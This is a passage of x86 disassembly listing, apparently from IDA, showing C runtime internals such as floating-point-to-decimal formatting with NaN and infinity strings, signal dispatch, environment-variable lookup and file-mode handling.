loc_41EEA9:				; CODE XREF: sub_41EB33+261j
					; sub_41EB33+2BCj
		mov	edi, ecx

loc_41EEAB:				; CODE XREF: sub_41EB33+2DDj
					; sub_41EB33+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41EF93
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41EED7
		cmp	[ebp+var_45], 5
		jl	short loc_41EECB
		inc	[ebp+var_45]

loc_41EECB:				; CODE XREF: sub_41EB33+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41EEDA
; ---------------------------------------------------------------------------

loc_41EED7:				; CODE XREF: sub_41EB33+38Dj
		mov	eax, [ebp+var_C]

loc_41EEDA:				; CODE XREF: sub_41EB33+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41EF89

loc_41EEE4:				; CODE XREF: sub_41EB33+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41EEF2
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41EEE4
; ---------------------------------------------------------------------------

loc_41EEF2:				; CODE XREF: sub_41EB33+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41EA6C
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41EF11
		neg	eax

loc_41EF11:				; CODE XREF: sub_41EB33+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41EF1C
		add	eax, [ebp+arg_10]

loc_41EF1C:				; CODE XREF: sub_41EB33+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41EF24
		sub	eax, [ebp+arg_14]

loc_41EF24:				; CODE XREF: sub_41EB33+3ECj
		cmp	eax, 1450h
		jle	short loc_41EF5B
		mov	[ebp+var_2C], 1

loc_41EF32:				; CODE XREF: sub_41EB33+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_41EF3E:				; CODE XREF: sub_41EB33+454j
					; sub_41EB33+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41EFA4
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41EFB9
; ---------------------------------------------------------------------------

loc_41EF5B:				; CODE XREF: sub_41EB33+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41EF6B
		mov	[ebp+var_30], 1
		jmp	short loc_41EF32
; ---------------------------------------------------------------------------

loc_41EF6B:				; CODE XREF: sub_41EB33+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41F71C
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41EF3E
; ---------------------------------------------------------------------------

loc_41EF89:				; CODE XREF: sub_41EB33+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41EF3E
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EB33+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41EFB9
; ---------------------------------------------------------------------------

loc_41EFA4:				; CODE XREF: sub_41EB33+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41EFB9
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_41EFB9:				; CODE XREF: sub_41EB33+426j
					; sub_41EB33+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41EB33	endp

; ---------------------------------------------------------------------------
off_41EFD4	dd offset loc_41EB9D	; DATA XREF: sub_41EB33+63r
		dd offset loc_41EBEC	; jump table for switch	statement
		dd offset loc_41EC43
		dd offset loc_41EC6D
		dd offset loc_41ECC8
		dd offset loc_41ED3F
		dd offset loc_41ED75
		dd offset loc_41EDBF
		dd offset loc_41ED9E
		dd offset loc_41EE23
		dd offset loc_41EE0D
		dd offset loc_41EDD9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F004	proc near		; CODE XREF: sub_41DDDF+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F066
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F06A
; ---------------------------------------------------------------------------

loc_41F066:				; CODE XREF: sub_41F004+5Aj
		mov	byte ptr [ebx+2], 20h

loc_41F06A:				; CODE XREF: sub_41F004+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F090
		test	edi, edi
		jnz	short loc_41F090
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F090

loc_41F07B:				; CODE XREF: sub_41F004+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41F28E
; ---------------------------------------------------------------------------

loc_41F090:				; CODE XREF: sub_41F004+6Cj
					; sub_41F004+70j ...
		cmp	dx, si
		jnz	short loc_41F10F
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F0A9
		cmp	[ebp+arg_0], 0
		jz	short loc_41F0B8

loc_41F0A9:				; CODE XREF: sub_41F004+9Dj
		test	edi, 40000000h
		jnz	short loc_41F0B8
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F0FE
; ---------------------------------------------------------------------------

loc_41F0B8:				; CODE XREF: sub_41F004+A3j
					; sub_41F004+ABj
		test	cx, cx
		jz	short loc_41F0D2
		cmp	edi, 0C0000000h
		jnz	short loc_41F0D2
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0F9
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F0E1
; ---------------------------------------------------------------------------

loc_41F0D2:				; CODE XREF: sub_41F004+B7j
					; sub_41F004+BFj
		cmp	edi, eax
		jnz	short loc_41F0F9
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0F9
		push	offset a1Inf	; "1#INF"

loc_41F0E1:				; CODE XREF: sub_41F004+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415C00
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_41F0F0:				; CODE XREF: sub_41F004+109j
		and	[ebp+var_4], 0
		jmp	loc_41F267
; ---------------------------------------------------------------------------

loc_41F0F9:				; CODE XREF: sub_41F004+C5j
					; sub_41F004+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_41F0FE:				; CODE XREF: sub_41F004+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415C00
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F0F0
; ---------------------------------------------------------------------------

loc_41F10F:				; CODE XREF: sub_41F004+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F71C
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41F170
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4FC
		pop	ecx
		pop	ecx

loc_41F170:				; CODE XREF: sub_41F004+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41F18A
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41F18D
		jmp	loc_41F07B
; ---------------------------------------------------------------------------

loc_41F18A:				; CODE XREF: sub_41F004+173j
		mov	edi, [ebp+arg_C]

loc_41F18D:				; CODE XREF: sub_41F004+17Fj
		cmp	edi, 15h
		jle	short loc_41F195
		push	15h
		pop	edi

loc_41F195:				; CODE XREF: sub_41F004+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_41F1AB:				; CODE XREF: sub_41F004+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41F1AB
		test	esi, esi
		jge	short loc_41F1D5
		neg	esi
		and	esi, 0FFh
		jle	short loc_41F1D5

loc_41F1C8:				; CODE XREF: sub_41F004+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA3F
		dec	esi
		pop	ecx
		jnz	short loc_41F1C8

loc_41F1D5:				; CODE XREF: sub_41F004+1B8j
					; sub_41F004+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41F232
		mov	[ebp+arg_C], ecx

loc_41F1E5:				; CODE XREF: sub_41F004+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41EA11
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9B3
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41F1E5
		mov	eax, [ebp+arg_14]

loc_41F232:				; CODE XREF: sub_41F004+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41F26F

loc_41F23F:				; CODE XREF: sub_41F004+248j
		cmp	eax, ecx
		jb	short loc_41F252
		cmp	byte ptr [eax],	39h
		jnz	short loc_41F24E
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41F23F
; ---------------------------------------------------------------------------

loc_41F24E:				; CODE XREF: sub_41F004+242j
		cmp	eax, ecx
		jnb	short loc_41F256

loc_41F252:				; CODE XREF: sub_41F004+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_41F256:				; CODE XREF: sub_41F004+24Cj
		inc	byte ptr [eax]

loc_41F258:				; CODE XREF: sub_41F004+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_41F267:				; CODE XREF: sub_41F004+F0j
		mov	eax, [ebp+var_4]

loc_41F26A:				; CODE XREF: sub_41F004+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F26F:				; CODE XREF: sub_41F004+239j
					; sub_41F004+275j
		cmp	eax, ecx
		jb	short loc_41F27F
		cmp	byte ptr [eax],	30h
		jnz	short loc_41F27B
		dec	eax
		jmp	short loc_41F26F
; ---------------------------------------------------------------------------

loc_41F27B:				; CODE XREF: sub_41F004+272j
		cmp	eax, ecx
		jnb	short loc_41F258

loc_41F27F:				; CODE XREF: sub_41F004+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_41F28E:				; CODE XREF: sub_41F004+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41F26A
sub_41F004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F297	proc near		; CODE XREF: sub_41AB9C+3423p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41F2FE
		dec	eax
		dec	eax
		jz	short loc_41F2EF
		sub	eax, 4
		jz	short loc_41F2EF
		sub	eax, 3
		jz	short loc_41F2EF
		sub	eax, 4
		jz	short loc_41F2E2
		sub	eax, 6
		jz	short loc_41F2D5
		dec	eax
		jz	short loc_41F2C8
		or	eax, 0FFFFFFFFh
		jmp	loc_41F3C0
; ---------------------------------------------------------------------------

loc_41F2C8:				; CODE XREF: sub_41F297+27j
		mov	esi, dword_46978C
		mov	eax, offset dword_46978C
		jmp	short loc_41F309
; ---------------------------------------------------------------------------

loc_41F2D5:				; CODE XREF: sub_41F297+24j
		mov	esi, dword_469788
		mov	eax, offset dword_469788
		jmp	short loc_41F309
; ---------------------------------------------------------------------------

loc_41F2E2:				; CODE XREF: sub_41F297+1Fj
		mov	esi, dword_469790
		mov	eax, offset dword_469790
		jmp	short loc_41F309
; ---------------------------------------------------------------------------

loc_41F2EF:				; CODE XREF: sub_41F297+10j
					; sub_41F297+15j ...
		push	edi
		call	sub_41F3C4
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41F309
; ---------------------------------------------------------------------------

loc_41F2FE:				; CODE XREF: sub_41F297+Cj
		mov	esi, dword_469784
		mov	eax, offset dword_469784

loc_41F309:				; CODE XREF: sub_41F297+3Cj
					; sub_41F297+49j ...
		cmp	esi, 1
		jnz	short loc_41F315
		xor	eax, eax
		jmp	loc_41F3C0
; ---------------------------------------------------------------------------

loc_41F315:				; CODE XREF: sub_41F297+75j
		test	esi, esi
		jnz	short loc_41F320
		push	3
		call	sub_417838

loc_41F320:				; CODE XREF: sub_41F297+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41F332
		cmp	edi, 0Bh
		jz	short loc_41F332
		cmp	edi, 4
		jnz	short loc_41F358

loc_41F332:				; CODE XREF: sub_41F297+8Fj
					; sub_41F297+94j
		mov	ebx, dword_469564
		and	dword_469564, 0
		cmp	edi, ecx
		jnz	short loc_41F387
		mov	edx, dword_4383EC
		mov	dword_4383EC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41F35B
; ---------------------------------------------------------------------------

loc_41F358:				; CODE XREF: sub_41F297+99j
		mov	ebx, [ebp+arg_0]

loc_41F35B:				; CODE XREF: sub_41F297+BFj
		cmp	edi, ecx
		jnz	short loc_41F387
		mov	eax, dword_4383E0
		mov	ecx, dword_4383E4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41F38E
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:438370h[edx*4]

loc_41F37C:				; CODE XREF: sub_41F297+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41F37C
		jmp	short loc_41F38E
; ---------------------------------------------------------------------------

loc_41F387:				; CODE XREF: sub_41F297+AAj
					; sub_41F297+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41F39C

loc_41F38E:				; CODE XREF: sub_41F297+D7j
					; sub_41F297+EEj
		push	dword_4383EC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41F3AA
; ---------------------------------------------------------------------------

loc_41F39C:				; CODE XREF: sub_41F297+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41F3AA
		cmp	edi, 4
		jnz	short loc_41F3BD

loc_41F3AA:				; CODE XREF: sub_41F297+103j
					; sub_41F297+10Cj
		cmp	edi, 8
		mov	dword_469564, ebx
		jnz	short loc_41F3BD
		mov	eax, [ebp+arg_0]
		mov	dword_4383EC, eax

loc_41F3BD:				; CODE XREF: sub_41F297+111j
					; sub_41F297+11Cj
		xor	eax, eax
		pop	ebx

loc_41F3C0:				; CODE XREF: sub_41F297+2Cj
					; sub_41F297+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41F297	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F3C4	proc near		; CODE XREF: sub_41F297+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4383E8
		cmp	dword_43836C, edx
		push	esi
		mov	eax, offset dword_438368
		jz	short loc_41F3F2
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438368h[esi*4]

loc_41F3E6:				; CODE XREF: sub_41F3C4+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F3F2
		cmp	[eax+4], edx
		jnz	short loc_41F3E6

loc_41F3F2:				; CODE XREF: sub_41F3C4+16j
					; sub_41F3C4+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438368h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F406
		cmp	[eax+4], edx
		jz	short locret_41F408

loc_41F406:				; CODE XREF: sub_41F3C4+3Bj
		xor	eax, eax

locret_41F408:				; CODE XREF: sub_41F3C4+40j
		retn
sub_41F3C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F409	proc near		; CODE XREF: sub_41E162+23p

arg_0		= dword	ptr  4

		cmp	dword_46AB28, 0
		push	ebx
		push	esi
		mov	esi, dword_4694DC
		push	edi
		jz	short loc_41F480
		test	esi, esi
		jnz	short loc_41F43A
		cmp	dword_4694E4, esi
		jz	short loc_41F480
		call	sub_41F7D7
		test	eax, eax
		jnz	short loc_41F480
		mov	esi, dword_4694DC
		test	esi, esi
		jz	short loc_41F480

loc_41F43A:				; CODE XREF: sub_41F409+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41F480
		push	ebx
		call	sub_415CF0
		pop	ecx
		mov	edi, eax

loc_41F44B:				; CODE XREF: sub_41F409+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F480
		push	eax
		call	sub_415CF0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41F473
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41F473
		push	edi
		push	ebx
		push	eax
		call	sub_41F798
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F478

loc_41F473:				; CODE XREF: sub_41F409+51j
					; sub_41F409+59j
		add	esi, 4
		jmp	short loc_41F44B
; ---------------------------------------------------------------------------

loc_41F478:				; CODE XREF: sub_41F409+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41F482
; ---------------------------------------------------------------------------

loc_41F480:				; CODE XREF: sub_41F409+10j
					; sub_41F409+1Cj ...
		xor	eax, eax

loc_41F482:				; CODE XREF: sub_41F409+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F409	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F486	proc near		; CODE XREF: sub_41E84C+8Bp
					; sub_41E84C+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46A8E0
		jnb	short loc_41F4ED
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7E0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41F4ED
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41F4C6
		and	cl, 7Fh
		jmp	short loc_41F4D3
; ---------------------------------------------------------------------------

loc_41F4C6:				; CODE XREF: sub_41F486+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41F4E1
		or	cl, 80h

loc_41F4D3:				; CODE XREF: sub_41F486+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F4E1:				; CODE XREF: sub_41F486+48j
		mov	dword_4694B4, 16h
		jmp	short loc_41F4F7
; ---------------------------------------------------------------------------

loc_41F4ED:				; CODE XREF: sub_41F486+Bj
					; sub_41F486+27j
		mov	dword_4694B4, 9

loc_41F4F7:				; CODE XREF: sub_41F486+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F486	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4FC	proc near		; CODE XREF: sub_41F004+165p
					; sub_41F71C+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41F6FC
		cmp	cx, 7FFFh
		jnb	loc_41F6FC
		cmp	dx, 0BFFDh
		ja	loc_41F6FC
		cmp	dx, 3FBFh
		ja	short loc_41F565
		xor	eax, eax
		jmp	short loc_41F59F
; ---------------------------------------------------------------------------

loc_41F565:				; CODE XREF: sub_41F4FC+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41F587
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41F587
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41F589
		cmp	[esi], eax
		jnz	short loc_41F589
		jmp	loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F587:				; CODE XREF: sub_41F4FC+71j
					; sub_41F4FC+79j
		xor	eax, eax

loc_41F589:				; CODE XREF: sub_41F4FC+80j
					; sub_41F4FC+84j
		cmp	cx, ax
		jnz	short loc_41F5AC
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41F5AC
		cmp	[ebx+4], eax
		jnz	short loc_41F5AC
		cmp	[ebx], eax
		jnz	short loc_41F5AC

loc_41F59F:				; CODE XREF: sub_41F4FC+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41F717
; ---------------------------------------------------------------------------

loc_41F5AC:				; CODE XREF: sub_41F4FC+90j
					; sub_41F4FC+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_41F5BC:				; CODE XREF: sub_41F4FC+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41F610
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_41F5D8:				; CODE XREF: sub_41F4FC+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F603
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_41F603:				; CODE XREF: sub_41F4FC+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41F5D8

loc_41F610:				; CODE XREF: sub_41F4FC+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41F5BC
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41F653

loc_41F62E:				; CODE XREF: sub_41F4FC+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41F64C
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA11
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F62E

loc_41F64C:				; CODE XREF: sub_41F4FC+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F68C

loc_41F653:				; CODE XREF: sub_41F4FC+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41F68C
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_41F66C:				; CODE XREF: sub_41F4FC+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41F675
		inc	[ebp+var_14]

loc_41F675:				; CODE XREF: sub_41F4FC+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA3F
		dec	ebx
		pop	ecx
		jnz	short loc_41F66C
		cmp	[ebp+var_14], 0
		jz	short loc_41F68C
		or	byte ptr [ebp+var_24], 1

loc_41F68C:				; CODE XREF: sub_41F4FC+155j
					; sub_41F4FC+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41F6A3
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41F6D8

loc_41F6A3:				; CODE XREF: sub_41F4FC+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41F6D5
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41F6D0
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41F6CA
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------

loc_41F6CA:				; CODE XREF: sub_41F4FC+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------

loc_41F6D0:				; CODE XREF: sub_41F4FC+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------

loc_41F6D5:				; CODE XREF: sub_41F4FC+1ABj
		inc	[ebp+var_24+2]

loc_41F6D8:				; CODE XREF: sub_41F4FC+1A5j
					; sub_41F4FC+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41F6FC
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_41F6F6:				; CODE XREF: sub_41F4FC+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41F717
; ---------------------------------------------------------------------------

loc_41F6FC:				; CODE XREF: sub_41F4FC+42j
					; sub_41F4FC+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_41F717:				; CODE XREF: sub_41F4FC+ABj
					; sub_41F4FC+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F4FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


